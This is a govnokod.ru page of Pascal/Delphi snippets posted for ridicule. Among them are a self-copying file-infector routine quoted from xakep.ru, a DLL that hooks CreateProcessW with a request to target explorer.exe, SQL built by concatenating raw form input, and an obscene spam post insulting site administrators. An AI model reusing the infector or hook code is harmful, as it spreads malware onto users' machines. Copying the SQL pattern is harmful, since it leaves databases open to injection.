1. Pascal / Говнокод #15577

    +96

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    {$APPTYPE CONSOLE}
uses SysUtils;
function Add(const x: Integer; i: Integer): Integer; overload;
  begin
    Result := x + i
  end;

function Add(const x: PChar; i: Integer): PChar; overload;
  var
    x1: Integer absolute x;
  begin
    Integer(Result) := x1 + i
  end;


const s: PChar = 'KoKoKoBormondos';
begin
  Writeln (StrLen(Add(s, 5)))
end.

    http://govnokod.ru/15510#comment221692

    gost, 26 Марта 2014

    Комментарии (12)

  2. Pascal / Говнокод #15558

    +86

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    function RealToStr(X: Real; Count: Integer): String;//Count - количество цифр после запятой
var S: String;
    N: Integer;
begin
  S:=FloatToStr(X); //после запятой - длинная последовательность цифр
//DecimalSeparator - константа, содержащая истинный разделитель целой и дробной частей числа
 N:=Pos(DecimalSeparator, S); //позиция запятой в строке
//вычисляем длину строки с нужным количеством знаков после запятой:
  if N=0//если в строке нет запятой - это целое число, и
    then N:=Length(S)//тогда просто выводим это число
    else N:=N+Count;//иначе вычисляем длину строки
  Result:=Copy(S, 1, N);//копируем часть строки в результат
end;

    Говно на говне сидит и говном погоняет.
    http://www.delphi-manual.ru/work-with-strings.php

    gost, 23 Марта 2014

    Комментарии (13)

  3. Pascal / Говнокод #15557

    +89

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    procedure infect(victim:string);
var
a:integer;

Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;

    Ксакеп, нуфф сказал.
    http://www.xakep.ru/post/23374/

    gost, 23 Марта 2014

    Комментарии (118)

  4. Pascal / Говнокод #15499

    +101

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    function GetBit(numBit,Val: integer):boolean;
var
  i: integer;
begin
  i := round(power(2,numBit-1));
  result := (i and Val) >0;
end;

    Суровые и беспощадные битовые операции в дельфи. Причем коллега, у которого я это нашел неплохие программы пишет, во всяком случае по части удобства интерфейса мне до него далеко. Но иногда такие перлы встречаются.

    kipar, 17 Марта 2014

    Комментарии (15)

  5. Pascal / Говнокод #15488

    +87

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    delim:=0;
result:='';
resulttemp:='';
otv1:=trunc(rez);
ott2:=rez-otv1;
while otv1>=s1 do
begin
	delim:=delim+1;
	r1:=otv1 div s1;
	r2:=otv1 mod s1;
	otv1:=r1;		
	if (r2>=0) and (r2<=9) then
		str(r2,resulttemp);			
	if r2=10 then resulttemp:='a';
	if r2=11 then resulttemp:='b';
	if r2=12 then resulttemp:='c';
	if r2=13 then resulttemp:='d';
	if r2=14 then resulttemp:='e';
	if r2=15 then resulttemp:='f';		
	result:=result+resulttemp;
end;	
if (otv1>=0) and (otv1<=9) then
	str(otv1,resulttemp);	
if otv1=10 then resulttemp:='a';
if otv1=11 then resulttemp:='b';
if otv1=12 then resulttemp:='c';
if otv1=13 then resulttemp:='d';
if otv1=14 then resulttemp:='e';
if otv1=15 then resulttemp:='f';	
result:=result+resulttemp;
delim:=length(result);
resulttemp:=result;
for otv1:=1 to delim do
	result[otv1]:=resulttemp[delim+1-otv1];

    Перевод числа из десятичной системы счисления в систему счисления с основанием s1

    n924, 15 Марта 2014

    Комментарии (7)

  6. Pascal / Говнокод #15435

    +91

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    if not DM.For_Akc_Base_Update.InTransaction then
      DM.For_Akc_Base_Update.StartTransaction;
              Close;
              SQL.Clear;
              SQL.Add('insert into Bank (BNAME, full_name, bik, ks, inn, rkc,postind,postcity,postaddr,telef ) values ');
              SQL.Add('('''+edName.Text+''', '''+mFull_Name.Text+''', ');
              SQL.Add(' '''+edBik.Text+''', ');
              SQL.Add(''''+edKS.Text+''', '''+edInn.Text+''', ');
              SQL.Add(''''+edRkc.Text+''', '''+edInd.Text+''', ');
              SQL.Add(''''+edCity.Text+''', '''+edAdr.Text+''', ');
              SQL.Add(''''+edTel.Text+''' )');
              ExecSQL;
              DM.For_Akc_Base_Update.Commit;
                  DM.Bank.Close;
                  DM.Bank.Open;

    Принял проект. Начал смотреть. Вот так вот добавляют запись в таблицу. И так по всему проекту.

    Vince, 12 Марта 2014

    Комментарии (23)

  7. Pascal / Говнокод #14988

    +115

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    library ch;
uses
  Windows,SysUtils,controls,graphics,extctrls,shellapi,Unit1 in 'Unit1.pas' {Form1};
type
  NTStatus = cardinal;
  far_jmp = packed record
    push: byte;
    PProc: pointer;
    ret: byte;
  end;
  OldCode = packed record
    one: dword;
    two: dword;
  end;
const
  STATUS_ACCESS_DENIED = NTStatus($C0000022);
  STATUS_SUCCESS = NTStatus($00000000);
function CreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
  lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
  bInheritHandles: BOOL; dwCreationFlags: dword; lpEnvironment: pointer;
  lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall;
  external 'kernel32.dll' name 'CreateProcessW';
var
  CPA: pointer;
  OldCPA: OldCode;
  JmpCPA: far_jmp;
  b:cardinal;

procedure UnHook;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
end;

function FalseCreateProcessW():boolean;
begin
  SetLastError(ERROR_ACCESS_DENIED);
  result:=falsecreateprocessw
end;
function TrueCreateProcessW(lpApplicationName: PWideChar;
  lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes
  : PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: dword;
  lpEnvironment: pointer; lpCurrentDirectory: PWideChar;
  const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
  Result := CreateProcessW(lpApplicationName, lpCommandLine,
    lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
    lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
  WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @JmpCPA, sizeof(far_jmp), b);
end;
 function NewCreateProcessW(lpApplicationName: PWideChar;
  lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes
  : PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: dword;
  lpEnvironment: pointer; lpCurrentDirectory: PWideChar;
  const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): bool; stdcall;
  var
    reason:string;
begin
  result:=true;// подавляем ошибку "Доступ запрещен"
 // если что-то нам не понравилось, выходм
  else
  // или выполняем командную строку 
    Result := TrueCreateProcessW(lpApplicationName, lpCommandLine,
    lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
    lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
end;
procedure SetHook;
begin
   CPA := GetProcAddress(getmodulehandle('kernel32.dll'), 'CreateProcessW');
   ReadProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
   JmpCPA.push := $68;
   JmpCPA.PProc := @NewCreateProcessW;
   JmpCPA.ret := $C3;
   WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @JmpCPA, sizeof(far_jmp), b);

end;
function MessageProc(code: integer; wParam: word; lParam: longint)
  : longint; stdcall;
begin
  Result := CallNextHookEx(0, code, wParam, lParam);
end;
procedure SetGlobalHookProc();
begin
  SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
  sleep(infinite);
end;
procedure SetGlobalHook();
var
  //hMutex: dword;
  TrId: dword;
begin
    CreateMutex(nil, False, 'Vhook@016');
    if GetLastError = 0 then
    CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, trid)
end;

    procedure DLLEntryPoint(dwReason: dword);
    
begin
    
  case dwReason of
    
    DLL_PROCESS_ATTACH:
    
      begin
    
        SetHook;
    
        SetGlobalHook;
    
      end;
    
    DLL_PROCESS_DETACH:
    
      begin
    
        UnHook;
    
      end;
    
  end;
    
end;
    
begin
    
  DllProc := @DLLEntryPoint;
    
  DLLEntryPoint(DLL_PROCESS_ATTACH);
    
end.


    Товарищи, как можно поправить этот код, чтобы библиотека подгружалась только к процессу "explorer.exe" и патчила в его памяти CreateProcessW?

    Stertor, 26 Февраля 2014

    Комментарии (16)

  8. Pascal / Говнокод #14674

    +92

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    procedure TForm1.BitBtn1Click(Sender: TObject);
begin
  with message1 do
  begin
    Subject:='Test subject';
    From := '[email protected]';
    To := '[email protected]';
    Textbody:='Text body';
  [. . .]
    Configuration.Fields.Update;
    Send;
end;

Лососнул тунца.

    with message1 do
    
  begin
    
    Subject:='Test subject';
    
    From := '[email protected]';
    
    To := '[email protected]';
    
    Textbody:='Text body';


    'To' - ключевое слово, смирись, смертный, и забудь о 'with'
    p.s. капча сейчас - 4 семерки.

    Stertor, 19 Февраля 2014

    Комментарии (24)

  9. Pascal / Говнокод #14665

    +86

    1. 1
    2. 2
    3. 3
    // сделать невидимым кол-во поиск
if Assigned(m_DBGrid) and Assigned(m_DBGrid.DataSource) and Assigned(m_DBGrid.DataSource.DataSet) then
    TblBtnFind.Enabled := (m_DBGrid.DataSource.DataSet.RecordCount<>0);

    Petr0vi4, 19 Февраля 2014

    Комментарии (1)

  10. Pascal / Говнокод #14658

    +142

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА

    HUYPIZDA, 18 Февраля 2014

    Комментарии (0)